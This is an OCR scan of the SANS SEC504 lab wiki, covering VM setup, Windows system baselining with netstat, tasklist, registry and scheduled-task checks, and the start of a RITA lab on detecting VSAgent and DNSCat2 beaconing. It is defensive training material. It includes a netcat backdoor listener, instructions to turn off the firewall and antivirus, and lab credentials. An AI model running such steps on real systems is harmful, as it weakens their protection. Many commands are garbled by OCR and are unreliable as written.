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Welcome to the SANS SEC504 Lab Wik!

This wiki is your guide to lab exercises in SANS SEC504. In order to keep labs current, to make them more
accessible (cut and pastel), and to present the steps in color with rich context, we present the material here in
HTML format. You will also will get a hard copy of the printed materials to keep as an heirloom {and to bring
into an exam center when you take the GIAC exam).

This lab wiki is o work in progress, and is frequently revised by the course authors. This is beneficial to all, since
you continue to get updates to Jab material as we improve the quality of the exercises, correct typos, and add new
exercises.

Accessing the Digital Edition of the Lab Wik:

To access the digital edition of the lab wiki from the Slingshot Linux VM, open the Firefox browser. The home
page will display this text, and allow you to navigate to the course lab exercises,

Similarly, you can access the digital edition of the lab wiki from the class Windows 10 VM as well. Open the
Chrome browser and the home page will display this text.

Updating the Lab Wiki — Linux

To update the lab wiki on the Linux VM, make sure your Slingshot Linux VM distributed with the class material is
connected to the internet. See the Connecting to the Network (Connecting-to-the-Network itrmi) guide for instructions.

Once connected, open a terminal prompt and run the following command:

his Resarvad 1




Updating the Lab Wiki — Windows

To update the lab wiki on the Windows 10 VM, make sure your Windows 10 VM distributed with the class
material is connected to the internet. See the Connecting to the Network (Connecting-to-the-Network htmi) guide for
instructions.

Once connected, open a PowerShell Prompt and run the following command:

FS C:\Users\Sech04> update-wiki.psl

Note: You must open a PowerShell Prompt to update the wiki content, not g Command Prompt!

That's it! With this one step you will always have the most current lab materials.

Conventions

The following typographical conventions are used throughout the labs:

s [tafic
* Indicates new terms and items of emphasis.

* | Constant width .
*  Used for terminal output and within paragraphs to refer to tools ar other elements such as variables
function names, statements, keywords, etc.

i

s | {vertical bar)
* Thevertical bar is used to indicate steps necessary for navigating through menus (Edit | Paste)

Code blocks are used to denote output from tools. Content that is bold represents commands you type. For
example:

# run_this command
output from the tool

Copyright © 2019, Joshug Wright and Mike Murr, Al Rights Reserved



in same cases, the commands you type will call for information that you supply (e.g., that we don't know). In
these cases, the content that you supply is noted in italics: © yourinput . Replace yourinput with the
informaticn you supply as described in the exercise.

This icon signifies  tip, suggestion, warning, or a general note.

Course and Lab Feedback

We are always excited to hear your feedback on the course materials. Is there a bug we need to squash? Do you

nave a suggestion for a new awesome tool that we just heve to see? Please let us know.

https://www.sec504. org/feedback (hitps:/iveww secs04.orgifeedback)

You can also reach out to josh or Mike directly:

o Joshua Wright - jwright@willhackforsushi.com (matito;wright@wilhackforsushi.com)

= Mike Murr - mmurr@codeforensics.net {maitto:mmurr@codeforensics.net}

Thank youl!

Copyright /0 7019, joshus Wright and
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Follow these steps to get started with the virtual machine systems you will use for class exercises.

If you have already copied the lab VMs to your computer, decompressed, and booted the systems following the
course lecture introductory material, you don't have to do it again here!

Brief Intro

Using VMware you will boot and run twe virtual machine (VM) systems for the class |ab exercises, The VM
systems are supplied on your class USB drive. In this getting started guide you will copy the compressed VMs to
your local hard drive, decompress them, and boot the two systems.

Walkthrough

VMware Beguired

All of the class lab exercises will utilize VMware as the hyperviser to boot and run the lab VMs, Please ensure you
have already downloaded and installed VMware an your laptop.

If you have not already installed VMware, download and install it now for your platform:;

= VMware Workstation Player for Windows Systems (https:/fwww vmware.com/productsiworkstation-player htrmi)

s VMware Fusion for macOS Systems (htipsi/iwww ymware.com/products/fusion.htrl)

You may be eligible for a free trial period of VMware Workstation Player or VMware Fusion,

We do not support the use of other virtualization products such as Virtual/Box or Hyper-V in this closs. You are
welcome to experiment and try to use these platforms, but we cannot support any problems that may arise.

Copy the VM Files

Insert the USB drive into your laptop. Using Windows Explorer or Finder (macO$), copy the = class vms | folder
to your desktop or ancther convenient location. This will take several minutes to complete.

Install 7-Zip or The Unarchiver

Copyright 6 20179, Jorhus Wright and Mike Mury, All Righis Reserved
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The Slingshot Linux and Slingshot Linux VMs are compressed using the 7-Zip algorithm, To decompress these
files, install an appropriate decompression tool:

»  For Windows Users: Launch the | 7z1900-x64. exe  1 installer included on the USB drive, accepting the
defaults.
* For macOS Users: Unzipthe = TheUnarchiver,zip :, revealing the . TheUnarchiver.app program.

Decompress the Windows 10 VM

Decompress the Windows 10 VM using 7-Zip (Windows) or The Unarchiver {macOS5). This will take several
minutes to complete,

Launch the Windows 10 VM

Launch the Windows 10 VM by double-clicking on the VMware | . vmx  file. VMware will indicate that the virtual
machine might have been copied or moved. Select | Copied It when prompted.

Slingshot-EQ1-SEC504 - Viviware Workstation X

This virtual machine might have been moved or copied. -

In order o configure certain management and nebworking -
features, VMware Workstation needs to know if this virtual
machine was moved or copted.

1f you.don't know, answer "I Copied Tt". |

| IMovedt | [ 1Copiedt |

Log In to the Windows 10 VM

After the Windows 10 VM finishes baoting, log in with the following username and password:

*  Username: secs04
» Password: sec504

That's the last step for Windows! You can keep the Windows 10 VM running and continue to experiment, or shut it
down until you need it for a lob exercise. Next, we will repeat these steps for the Slingshot Linux VM.

o
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Decompress the Slingshot Linux VM

v Decompress the Slingshot Linux VM using 7-Zip (Windows) or The Unarchiver {macQS). This will take several
minutes to complete.

Launch the Slingshot Linux VM

Launch the Skingshot Linux VM by double-clicking on the VMware . v | file, VMware will indicate that the
virtual machine might have been copied or moved. Select | Copied It when prompted.

Slingshot-EQ1-SEC504 - VMware Workstation X

This virtual machine might have been moved or copied.

In order to configure certain management and networking
o . features, VMivare Workstation needs to kﬂew if this virtual -
il ; - machme was maved oF capued '

If _yoa don't know, 'aﬁ:sv-.f'erﬁ " _Copied ..

| | I Copled Tt

Log In 1o the Slingshoet Linux VM

After the Slingshot Linux VM finishes booting, log in with the following username and password:

! s lsername; sec504
; s Password: sec504

That's the last step! You can keep the Slingshot Linux YM running and continue to experiment, or shut it down
untif you need it for o lab exercise.

Copyright 0 2019, foshua Weight and Mike Murr, Al Rights He




Brief Intro

In this lab you'll be entering various commands that can be used to help create a baseline far Windows
computers. Having a baseline is a critical step in the Preparation process,

Requirements for This Lab

In this lab you will use your Windows 10 VM. Make sure the VM is running before continuing with the lab
exercise.

Try It Yourself

Come up with commands that will help you profile a system. Be sure to include things such as running
programs, listening ports, users, groups, network shares, registry keys and interesting files.

Walkthrough

Open an Administrator Command Prompt

With Windows, when you launch a Command Prompt ( emd.exe ) via the GUI, you won't have full
administrator privileges, even if you are logged in to the GUI as an administrative account. That's because
Windows is trying to protect your system from you, not giving you full administrator privileges at the command
line unless yeu specifically demand it.

For many of the commands you are going to run in this lab, you need an elevated command shell, which has full
admin privifeges.

To get such shell access, click Start, then right-click on the Command Prompt icon, then click More | Run as
administrator.
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Network Usage — Netstat

Let's look for unusual TCP and UDP ports with the © netstat command.

First, let's create a Netcat listener on a TCP port by typing:

C:\Windows\system3iz> cd ¢:\tools

C:\Tools> no =1 -p 2222

Next, open another Command Prompt as an Administrator. Look for the listener by running:




C:\Windows\system32> netstat ~na

Active Connections

Proto Local Address Foreign Address State

TCP 0.0.0.0:22 0.0.0.0 LISTENING
TCP 0.0.0,0:135 6.0.0.0 LISTENING
TCP 0,0.0.0:445 0.0.0.0 LISTENING

Try running this also, to see the process ID numbers for the executables using the TCP and UDP ports:

C:\Windows\system32> netstat -nao

Active Connections

Proto Local Address Foreign Address State PID
TCR 0,0.0.0:22 ¢.0.0.0 LISTENING 2072
TCP 0.0.0.0:135 0.0.0.0 LISTENTING 912
TCP 0.0.0.0:445 0.0.0.0 LISTENING 4
TCP 0.0.0.0:153¢ 0,0.0.0 LISTENING 676
TCP 0.0.0.0:1537 0.0.0.0 LISTENING 548
TCP 0.0.0.0:1538 0.0.0.0 LISTENING 852
TCP 0.0.0.0:153¢ 0.0.0.0 LISTENING 795
TCP 0.0.0.0:1540 0.0.0.0 LISTENING 1724
TCP 0.0.0.0:1541 0.0.0.0 LISTENTING 804
TCP 0.0.0.,0:2222 0.0.0.0 LISTENING 2528
TCP 0.0.0.0:5985 0.0.0.0 LISTENING 4
TCP 0.0.0.0:47001 0.0.0.0 LISTENTNG 4

That PID sure is helpful, especially when cross-referenced with the output of Task Manager, the  tasklist
command, of the | wmic = process output.

Next, run netstat : again with a 5 at the end, which will give an updated * netstat = output every 5 seconds:

Copyright © 2019, joshua Wright and Mike Murr, All Rights Reserved i0



C:\Windows\system32> netstat -na 5

active Connections

Proto Local Address Foraign Address State

TCP 0,0.0.0:22 0.0.0.0 LISTENING
TCP 0.0.0,0:135 0.0.0.0 LISTENING
TCP 0.0.0.0:445 0.0.0.0 LISTENING

C:\Windows\system32> natstat -nach

Active Connections

Broto Local Address Foreign Address State PID
: TCP 0.0.0.0:22 ¢4.0.0.0 LISTENIWG 2072
! ‘ 8shProxy

[svchost.exe]
TCP 0.0.0.0:135 0.0.0.0 LISTENING 912

RpcS3s

[svchost.exe]
TCP 0.0,0.0:445 0.0.0.0 LISTENING 4

Can not obtaln ownership information

TCPE 0.0.0.0:2222 0.0.0.0 LISTENING 2528

{nc.exe]

On Windows, to run netstat with the -b flag, you need o shell with elevated privileges (not just admin privileges, but
elevated privileges, which gives more access to the underlying operating system). If youi have not already elevated
your command shell, see instructions above. Then, run ~ retstat -nach

If you would like, you can alsa make a connection to this backdoor:




This command won't show any output. Later we will shaw how you can use this to query data from a service and
to eventually build up reverse shells and access.

Finally, stop your Netcat listener by hitting CTRL+C.

Unusual Processes

First, we fook at the processes running on our machines, in several ways. The most common way to look at
running processes is to invoke the Task Manager, by running = taskmgr.exe |

E C:\Windows\system3Z> taskmgr.exe

Look at the output in the Detuils tab. By default, Task Manager does not show the Process ID numbers.
Reconfigure Task Manager to do so. In Task Manager, go to the Name column, Right-click on the column
header, then choose Select columns. Choose PID from the menu, then click OK. This will cause Task Manager to
show the PID for each process.

Close the Task Manager window to continue,

Next, look at the running processes by invoking the - tasklist | command, in verbose mode. This shows us
the user that each process is running as, among other useful information:

Copyright € 2019, joshua Wright and Mike Murr, All Rights Reservad 12



C:\Windows\system32> tasklist /v

|
! Image Name PID Session Name Session# Mem Usage Status
! . ; User Name CPU Time Window Title
| L _ e - o
R System Idle Processes 0 Services o] 4 K Unknown
S : NT AUTHORITYASYSTEM 19:27:01  N/A
I System 4 Services 0 32 K Unknown
SRS N/B 00:07:31 N/A
i | 5M3S. exe 516 Services 4] 344 K Unknown
: N/A 00:00:00 N/A
! i"} .é CSTrs8s.exe 600 Services 0 1,172 ¥ Unknown
. : N/A 00:00:00 N/A
: wininit.exe 676 Services 0 704 K Unknown
g : N/B Q0:00:00 N/A
i i i} E services. exe 976 Services g 5,288 K Unknown
| : N/B 00:00:04  N/A
i 1sass, exe 804 Services 0 6,312 K Unknown
E ' H/A 00:00:08  W/A
svchost.exe 872 Services 0 12,644 K Unknown
1 N/L 00:00:04 W/A
: | svchost.exe 912 Services 0 7,688 K Unknown
! N/A 00:006:06  H/A
‘ : svchost. exe 548 Services 0 20,352 K Unknown
‘f}L ; N/A 00:00:23  N/A
: svchost.exe 556 Services 0 13,872 K Unknown
T N/& 00:00:03 N/R
k i : svchost.exe 788 Services ] 12,068 ¥ Unknown
= : N/A 00:00:03  §/&
‘ svchost.exe B52 Services 0 34,784 K Unknown
Vo N/A 00:01:15  N/A

Ci\Windows\systen32>» wmic procsss list full

‘ : CommandLine=
o CSName=3ECS04STUDENT
Description=8ytem Idle Process




Note the different information you can get for each process with these different commands. What interesting
information do you see in the wmic output that you cannot see in the other output? One item that is useful is
the command line used to invoke each process, as well as its parent process ID (ParentProcessiD). Do you see

any other differences that might make ane command more useful than the others for given kinds of analysis?

Unusual Services

. services.msc | to open the Services window, as shown here:

C:\Windows\system32> services.msc

The | services.msc . command will open the Services window, where you can inspect the different Windows
services and their status,

Inspect the information in the Services window, then close the window ta continue.

You can also obtain Windows service information by runningthe " sc - command. Using the © se + command

you can get more detail about the Windaws services, piping its cutput fhrough the | mor'é:" command to
display it one page at a time;

C:\Windows\system32> sc¢ gquery | more

SERVICE NAME: Appinto
DISPLAY NAME: Application Information

TYPE 1 20 WIN3Z_SHARE PROCESS
STATE i 4 RUNNING

(STOPPABLE, NOT_PAUSABLE, IGNORES SHUTDOWN)
WIN32 EXIT_CODE : 0 (00}
SERVICE_EXIT CODE : 0 (0x0)

CHECKPOINT 1 0x0

WAIT HINT t 0x0

Now, fet's look at how various services map to the processes they are running out of. The * tasklist |
comrnand shaws this mapping with the following command;

Copyrighe © 2019, foshua Wright and Mike Murr, Al Rights Reservad 14



C:\Windows\system32> tasklist /sve

Image Hame PID Services

System Idle Processes ol N/&

System 4 N/A

SMSS.exe 516 N/A

CSrss.exe 600 N/A

wininit,exe 676 N/a

services.exe 976 N/A

lsass.exe BO4 KeyIso, SamSs, VaultSwvce

svchost,exe 872 BrokerInfrastructure, DcomLaunch, LSM, PlugPlay,
Power, SystemEventsBroker

svchost.exe 912 RpcEptMapper, RpcSs

svchost.exe 548 Chep, EventLog, lmhosts, TimeBrokerSve, wscsvo
svchost.exe 556 BFE, CoreMessagingRegilstrar, DPS, Mps3vc

As an example of a useful form of analysis, what process is the RPC Service (known as RpcSs) running out of?
That is one busy process on most Windows machines, running several different services simultaneously.

Again, your system admins should have a pretty good feel for what services are running and why.

Unusual Files

Now, let's look for unusuat files. A commen approach is to look for files larger than 10 MB, although, for some
systems used for video or audio editing, you may need to increase that size to find outliers of larger size. You

can do this at the command line by running:

:\Program Files\Java\jdkl.8
:\Program Files\dava\jdkl.

:\Program Files\Java\jdkl.

a0 o 0o 000

3}
:\Program Files\Java\jdkl.8
8
B

:\Program Files\Java\jdkl.

:\Windows\system32> FOR /R C:\ %i in (¥} do gif %~zi gtr 10000000 echo %i Gzl
:\Program Files\Common Files\VMware\Drivers\video_wddm\vm3dgl.dll 11862592
:\Program Files\Common Files\VMware\Drivers\video_wddm\vm3dgl6d.dll 13056704

.0 111\src.zip 21254374
.0_111vjre\bin\jfxwebkit.dll 395328238

.0 _111vjre\bin\server\classes.jsa 19202048
.0 1117zjre\lib\rt.jar 63319495

L0 313vjredlib\ext\jfxrt.jar 18195553

This command is based oh a FOR loop, which iterates over a set of something. The /& indicates that we are

to iterate over files, recursively going through the filesystem, We start at

", Ouriterator variable | %1

will take on the different names of various fites. We'll iterate over files of ahy type | in (*) . For eachfile we




iterate over, in our ”d'{) . dause, we turn off the d|splay of commands | @ andusean it - statement, The
iterator variable's file size is referred toas  %~zi . We check to see |fthe ﬂle s size is greater than 10 MB ! gtr

10000000'.lfitis,wedisplay echo theﬂlesname 81 and|t55|ze

Alternatively, if we have GUI access to the system, we can laok for files with that size using built-in Windows
search features.

Click Start | File Explorer. Next, click on This PC and in the top right box type  size: >10M . Then, press Enter.

Note that this search can alternatively be bused on kilobytes (K) or Gigabytes (G).

Dsesgh et size > ERB - searhemsicisal Search 20 ult 20T his%28PC R S HEARIALLD =

Sste vtk Searsh &

% . wacch Results in This BC ’ @ %
Doanioads 2 = "
& Mu‘\jur Gothic el

Damumenty 2 A0S 24 Pl

Paclules

L Bystemi2

A OreDme

TGP

TR Caskton
{5 Documaats
B Doanlosca
A Bt
555 Pirtures
B videos

. Locaf Kzt

ek Y1 201E 524 P

ORIECTS.OATA

Cavindma s\ Spmem3whem\Peposiion: Type UATA File

172093 533 Fivl

WebZacheV01.dat
3 AT File

= Localiizromftindew...

i Metoy i
i Ntk dalgun Gothiz Beld

243 e

What did it find?

If you lower it ta about 1.5 MB, you might find some media files. Any songs? How about video?

Unusual Registry Key Settings

Now, we'll look at programs that are automatically |nv0ked by our machlnes when the system boots up or when
a given user logs on. In particufar, we'll look at the - Run , f RunOnce |, and RunOnceEx © registry keys,

Invoke the graphical tool for analyzing the registry, Regedit, and navigate to each of these keys to see their
settings:
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C:\Windows\system32> regsdit :

Navigate to and investigate the following keys:

o HKEY_LOCAL_MACHINEScftware\Microsoft\Windows\CurrentVersion\Run
s HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersiom\Runonce
o HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersiom\Runonceex

RunonceEx will not exist until an autorun task is created,

Next, check out each of these key settings using the reg | command at the command line, as shown here:

C:\Windows\system32> reg query
HKEY_LOCALMmACHINE\software\micxosoft\windaws\curxantwexaioa\run

HEKEY LOCAL MACHINE\software\microsofti\windows\currentversion\run
VYMware User Process REG_S7 "C:\Program Files\VMware\VMwareTools\vmtoolsd.exe" -

n vmusr

C:\Windows\system32> reg query
HKEYMLQCAL_MACHINE\5aftware\miarm30ft\winéowa\aurrenﬁvexaian\xun@ncﬁ

Note that you can hit the up arrow and append © once | and | oncemx ~ to this command to ease the viewing
of these keys, Also, prepend | sKeY_CURRENT_USER | in front to look at the qutostart registry keys associated

with your currently logged on user.

Finally, perform a similar analysis by invoking the Windows Task Manager tool from the command line and
navigating to the Startup tab:

C:\Windows\system32> taskmgry . exne




% Task Manager - ] x

File Options View

I Serices
IN ) i
Mame : Fublisher Statls Startup inyract
@ Vhdware Tools Core Service Vidware, Inc. Enabled High
@ Li‘.."i.r;téioéa.fs..D.‘Ef.en.dernot'ifica:t.i,.. Microiéﬁ: Corp.Jé.rs.ifi.oﬁ EﬁabEecE. Low - .

?| Fewer details

Close Task Manager before continuing with the next step.

Unusual Scheduled Tasks

To look for unusual Scheduled Tasks, we'll invoke the Task Scheduler:

Click on the Control Ponel Desktop app entry that appears,

From the Control Panel, click on Administrative Tools. In the Administrative Tools group, doubte-click the Task
Scheduler.

From the Task Scheduler GUI, on the right-hand side, select Create Basic Task..

Copyright & 2019, Joshua Wright and Mike Murr, All Rights Reserved 18



) Tash Scheduter - o %

£ action Yew  Hep

sk Schedtuler Gbrag |

You camusi Tark Schedulérta create and manage comenon asks
hakyour campiuter will carry out sutonisticsly vt the tmer you
specify. To begin, etick 2 command inthe Sction miehu

Tatks are siored in foldans In the Tazk Schedufer Librans, To view
ar perfurm an operati incviduat task, select the sk in
Frs Tack Srhak tha ar

A Sewvice Accourt Cpnfiguration

 Statwss o varks that have started in bie folosdt, fast 54 Furs: Yiew »

Surmmary: Qtaks] - running, © succeeded, 9stoaped, Ofatiad .. . .

Task bame RunResult  Ron Sosrt run |

st efrashed at 12/1372018 51347 A

Complete the wizard and create a task named Test with a description of Test. Click Next. Set a schedule to run
One time at any date and time of your choosing. The action should be Start @ pragrom, and the program is
ipeonfig.exe |, Inthis example, no command-line arguments are needed for | ipconfig .

Locking at Scheduled Tasks

Now, look for your scheduled task. Let's try the | schtasks command. Run it as follows:

C:\Windows\system32> schtasks | more

Folder: \
TaskName Next Run Time
Status

Test 12/14/2018 11:08:59 AN
Ready
User Feed Synchronization-{ERE6B29A-F322 12/14/2018 4:27:00 PM
Ready

Folder: \Microsoft

TaskName Next Run Time
Status

Do you see your task? Depending on the version of Windows, it should be near the top or bottom of the list.

Copyripht




Examine the scheduled tasks output, Besides your Test task, do you know what the other tasks defined on your
system actually do?

Finally, delete your task by running the following command:
C:\Windows\system32> schtasks /delste /itn Tast

WARNING: Are you sure you want to remove the task "Test" (Y/N)? ¥
SUCCESS: The scheduled task "Test"™ was successfully deleted.

Unusual Accounts

Let's look at the accounts on the Windows VM. You can bring up the user manager console in a variety of ways.
The easiest is just by typing this at a command prompt;

C:\Windows\system32> lusrmgr.msc

Now, look at the users defined on your box. Alsc, fook at the groups. Double-click the Administrators group.
Who has those privileges on your machine? Do all of these people have a legitimate reason to have this access?
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# lusemgr - fLlocal Users and Groups (Locall\Groups] - m]} x
Help

ocal Users zrnd Groups (Lecal)
tsers
Groiigs

Bescriptior]]

Generat |

Adminishiators

=

" Description: Ldmiristeators have complets and Lnresticted accass
1o the eomputer/domain

© bMembers:
£ Admiristiator
i Bl Senh04

i
|
i
|
|
-
|
|
|
|
L

e

Changes {0 2 users group membership
re not elfective ikl the nest lime the
uset logs on.

For another view of the users defined on your system that are in the Administrators group, run the following
command:

C:\Windows\system32> net losalgroup administrators
Alias name administrators
Comment administrators have complete and unrestricted access to the

computer/domain

Members

Administrator
Sech04
The command completed successfully.

Unusual Log Enines

Our final element of this lab is to look at unusual log entries. To set this up, you need to go to your audit log

configuration.

Conyri
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B Local Security Folicy
File  Action  ¥iew Help

Ty

_":Ej Security Settings
Account Pakcies

Rights Assignment

Seawrtty Uptiens

Winidosws Firewall with Advanced Secuity
Wetwoik List Manager Bolicies

Public ¥ey Policies

> I Software Restriction Policles

Applicatisg Controlt Policies

B 1P Security Policies on Local Computer

> 1 Advanced Audik Policy Configuration

{ Paliey * Securify Setting

Auddt sccount lagen events ba asditing
Audit sccount manegement HNo auditing
it o] i HNe auditi

Mo au

Budiit object acce: g
Budit policy change Me auditing
Autit privitege use Success, Failure
Budit process tracking M auditing
Audit systen events Ne auditing

Now, go to Local Policies | Audit Policy. Double-click Audit Logon Events. Ensure that Failure is selected. (On

your system it may already be checked.)

Copyright © 2

019, Joshua Wright and Mike Murr, All Rights Reserved

22




ol
4

Audit logen events Properties

“Loizal Securty Setting - Explain

Audit logon events

Audit theze atterpts;

] Success

This getting might not be enforced if ather policy is configured to
averide category level sudit policy.
Far mare information, see Audi logon avents. (39214E8)

Our box is now configured to log whenever someone tries to log on to the box and doesn't provide the proper
passward. Amazingly, that's not on by default,

Generating a Securily Event

Next, bring up your Event Viewer. The easiest way te do thatis to run at the Command Prompt:

Ci\Windows\systen3z> eventywr.msc

Look at your Security Log in the Event Viewer. If you get an error when browsing logs stating _SplitterDistance
must be between Panel1MinSize and Width

Regarved 23
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* Panel2MinSize_, Please check your resolution of the VM and make sure it matches your system resolution
and make the VM full screen.

Let's generate an event by using the * runas = command at the Command Prompt:

_ C:\> runas /user:Administrator omd.exe

Enter the password for Administrator: random-string :
: Attempting to start cmd.exe as user "SECS048TUDENT\Administrator™ ...
RUNAS ERROR: Unable to run - cmd.exe

1326: The user name or password is incorrect.

for that kind of event, provided that our boxes are configured to generate them in the first place. {Lock for
Event ID's 4776 and 4625 for this lab.)

H} Bventiener — m] e
file  Action W

5 Cauztam Yiews

v % Windaws Logs
{ Application
erurty

abe and Time Source ¢ EventlD Task Category  * |

Open Saved Eog,

Audit Succass 12112018 25832, Microsa.., 4673 Sensitive Privileg Creste Custom Yiew..

5 B administretor: Command Prompt - o x
1
S:::Ec:\n-unas fuser:Administrator c¢md.exe

Enter the password for Administrator:

;Attenpting to start cmd.exe as user “SECS®MASTUDENT\Administrator" .,.

RUNAS ERROR: Unable to run - emd.exe

1326: The user name or password is incorrect.

1

1

58 EventViener - b x

file  Actien  ¥iew Help
s ” T
B Eventvizwer Lowal)
» o3 Custarn Views
~ .5 Windows Logs
Application Sensitiva Privi
1 fecurity ; 1211972018 25834, Microse. 4673 Sensithze Privi
Setup A AuditSuceess 1217201925932, Microso... 4671 Sensitiva Priviley
Systam S Audit Suceess 121201825930, Microso.. 4673 Sensitive Privileg
Farwarded Events D AuditSucers M0 2N, Misreso.. 5058 Other System Fvt Chear Log..
Agplicatiens and fervices{ngz 2 BuditSuccass  1211/201B259729.  Microso.. 5061 System integrity
Subscriptions AuditSrecess 12112018 250, Microso... 5058 Other System Evt

: S
i Dake and Time Source | EventlD Task Category ™
12112018 3:004.., Microso.. a67

=

Ogen Saved Lag,

Crezte Custom View..,

Impart Custom Yiew..

Filter Current Lag,.

Eropsrties

L Audit Success  12/11/2018 25929, Microse., 5081 System Integity
A Audit Success 127112018 25929, Microso... 5058 Other System Ewt find..
A AuditSuccess  T11/201825029,, Micrasa.. 5050 Other System Eve A Save Al veats fa..
‘%,Audit Success 12112018 25939, Microra. G061 Systern Integrity Attach a Task Tothis Log..
toAuditSuceess 121172018 2582%,,  iicrosa,.. G038 Other System b iew »
12/H2MB 23R, Micrasa.. 5061 System Integrity ..
131172018 25820, Micraso, 5058 Other Systern by | § &5 Refresh :
TN : S ? Help . > v

Copyright © 2013, foshua Wright and Mike Murr, Al Rights Regerved 24



Going Further

We have added a fun script to practice your Windows command-ine kung-fu,

There is a script challenge .exe inthe C' :\tools . directory—run it from the command line. Feel free to run it

multiple times, as the answers will change every time,

Running the Script

C:\Windows\system32> od C:\tools
Ci\Tools> 504)ab.exe

Above are the instructions for running the script. Remember the answers change with each run!

KNOW THY SYSTEM!

Open a second Command Prompt prompt as an Administrator and run netstat -nao
on your host sc you know what your system looks like before it is _infected .

i Eé Verify your firewall and AV are disabled. I am about to start a non-malicious

packdoor for you to find.

erﬁ : After you have run netstat press Enter to continue.

Please wait: B TCP Backdoor is being started on your host.
Backdoor Started, Please answer the following questions,

2 What TCP port is the backdoor listening on? 1549

What is the process id number of the backdoor? 4048

What is the Parent process id number of the backdoor?

Just a few notes:

= Be sure to run this command as administrator
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. IfyOLlseetheerror; Error: 'WoneType' object has no attribute 'group'. Trying again s you
should disable your firewaft at an administrative Command Prompt by running | netsh adviirewall set

allprofilég.sfaté.éff .
Some answers may require you to dig a bit. Look through the slides and remember: Google is your friend!

Bonus Hints

Lab Conclusions: Ideas for Applying Cheat Sheets

There we have it... we looked at our Windows cheat sheets. You can learn more about the Linux cheat sheet in
the appendix. Still, how can you apply either cheat sheet in your organization?

You simply cannot throw them over the wall and expect your system administrators to integrate them into their
processes. You'll need te help them do that. Eirst, you can print them out and distribute them to administrators
and their managers.

Then, try to get an invite to a weekly or monthly system administrators meeting or conference call in your
organization. Most Sys Admin teams meet cn a periodic basis to discuss events and techniques, During such a
meeting, you could describe the cheat sheets to the admins and ask them to use them.

Also, if your organization offers system-administrator orientation or refresher training, incaorporate the cheat
sheets into those materials,

| caution you about simultaneously presenting both cheat sheets. You might want to run through the Linux
sheet on one call or meeting, and then do the Windows sheet during the next meeting. Otherwise, you may run
into a religious war, or risk boring some of your Sys Admin team,

Finally, the only way we can get any value out of the cheat sheets is by exposing them to our system
administrators.

Why This Lab Is Important

If you don't know what normal looks like on your systems, you will find incident response almest impossibly
difficult. By having a baseline - and comparing to it often - you can detect attackers earlier and make for more
targeted response.

iy
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Bonus (If Time Permits or Homework)

e Consider listing device drivers (we'll cover why when we talk about rootkits later in the class)
s List file size and ownership of important files {you may want to use a tool like AIDE or OS5EC to assist with

this)
= Create an automated way of reviewing your baseline on a routine basis (perhaps weekly or daily)

Additional Resources

SANS Classes Related to This Lab

SANS SEC505: Securing Windows and PowerShell Automation (hipsy/www.sans.orglicourse/securing-windows-with-

powershell}

SANS SEC511: Continuous Monitoring and Security Operations (htps:/Awww.sans.org/course/contindous-monitering-

security-operations)
SANS AUDS07: Auditing & Monitoring Networks, Perimeters & Systems (hitps://www.sans.org/course/auditing-natworks-

perimeters-systems)

Other Resources Related to This Lab

Windows Command Reference by Microsoft (hapsi/iww. microsoft.com/en-us/dawnload/detalls aspx?id=2632)

Blue Team Handbook (http://www,blueteamhandbook.cormMome.htmi)

Blue Tearn Field Manual (http/swww blueteamfieldmanual.com/)
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Brief Intro

In this lab we'll be using RITA (httpsi/awww.blackhillsinfosec.com/projects/rita/) (short for Real Intelligent Threat Analytics)
from Black Hills Information Security. RITA ingests Zeek (hups:/Awww.bro.orgh (formerly Bro) logs and analyzes the
data to reveal anomalous activity that could be evidence of system compromise.

Reqguirements for This Lab

in this lab you will use your Slingshot Linux VM, Make sure the VM is running before continuing with the lab
exercise,

Try It Yourself

if you're familiar with RITA, start it up and generate a report to find the anomalous traffic.

Walkthrough

Enterprise-Wide Identification and Analysis

For this lab, we will be looking at two different beaconing tools, both of which are very, very hard to detect with
traditional signature-based utilities,

The first utility is called VSAgent (nttps://github.com/revi0d/504vsa) . It is a backdoor that beacons at a very steady 10-
second interval. All of its communication is base64 encoded and sent over cleartext HTML.

The next tool is called DNSCat2 (httpsi/github comiiagoxB6/dnseat2) by Ron Bowes. It is a utility that uses DNS as its
main C2 channel.

Both of these tocls represent the need for manual analysis of odd traffic behavior. But, they alse show us how
we can use the bottleneck of DNS URL and connection logs to see potential beaconing behavior.

RITA Introduction
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For this tah, we will be using Real intelligence Threat Analytics (RITA). Itis a utility written by Black Hills
Information Security and ActiveCountermeasures,com to assist hunt teams in identifying advanced attackers
who easily bypass most-traditional-security products:

it doas a number of different forms of analysis on Zeek logs. It uses Zeek specifically because Zeek is consistent
in its logging of connection timestamps and network traffic metadata,

For this lab, we will be focusing on beaconing analysis, URL analysis, and DNS analysis.

RITA Setup

sec504@slingshot:~/tools/Enterprise Lab$ ls ~1lxt

total 8

drwxkr-xr-x 5 sech04 sec504 4096 Mar 16 2017 VSAgent Logs
drwzr-xr-x 5 sech04 sec504 4096 Mar 21 2017 DNSCat Logs

We have two separate Zeek captures we are reviewing, One is for DNSCat2 and the other is for VSAgent. For
this lab, the Zeek sensor was positioned to capture traffic as it was leaving the test environments,

We have already imported the Zeek data into RITA with the following commands. Please do not run these
commands!
We are simply including these if you ever want to run RITA yourself.

# rita import -I <Path to Zeek Logs> -d <Database to dump the logs>
# rita analyze




Aguain, you do not need to run this now as it can take some ftime.

Generating the Reports

Now we will need to review the data using RITA's HTML output ability. There are a number of output options
such as | show-beacons |, show-blacklisted |, and | show-long-URLs |, All of this can easily be outputted

to | .csv “.'Hé'\)vévé'r',-for this lab, we will b using the HTML output as it is easier to read for this lab.

sec504@slingshot: ~/tools/Enterprise Lab$ sude ssrvice mongod start

[sudo] password for sechld: secs(d

sec504@slingshot:~/tools/Enterprise Lab$ rita html-report

[~} Writing: /home/sec304/tools/Enterprise Lab/rita-html-report/DNSCat

[-] Writing: /home/secSO4/tools/EnterprisewLab/rita~html~report/VSAGENT

[-] Wrote cutputs, check /home/sec504/tools/Enterprise_Lab/rita-html-report for files

sec504@slingshot: ~/tocls/Enterprise Lab$

Mazts Pleeton L. @ ox

Sefect the | vsaGENT | report,

Review Options

The tabs across the top allow you to review the output for all the different analysis modules of RITA. For
VSAgent we will be focusing on Beacons, Blacklisted, and User Agents.

Piease select Beacons (1) now,
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Beacons

Some backdoors have a very strong heartbeat. This is where a backdoar will constantly reconnect to get
commands from an attacker at a specific interval. The interval consistency of the heartbeat is the 75 score, where
avalue of 1 is perfect. The top value in this set is the VSAgent communication. We will talk about the other
connections in a few moments.
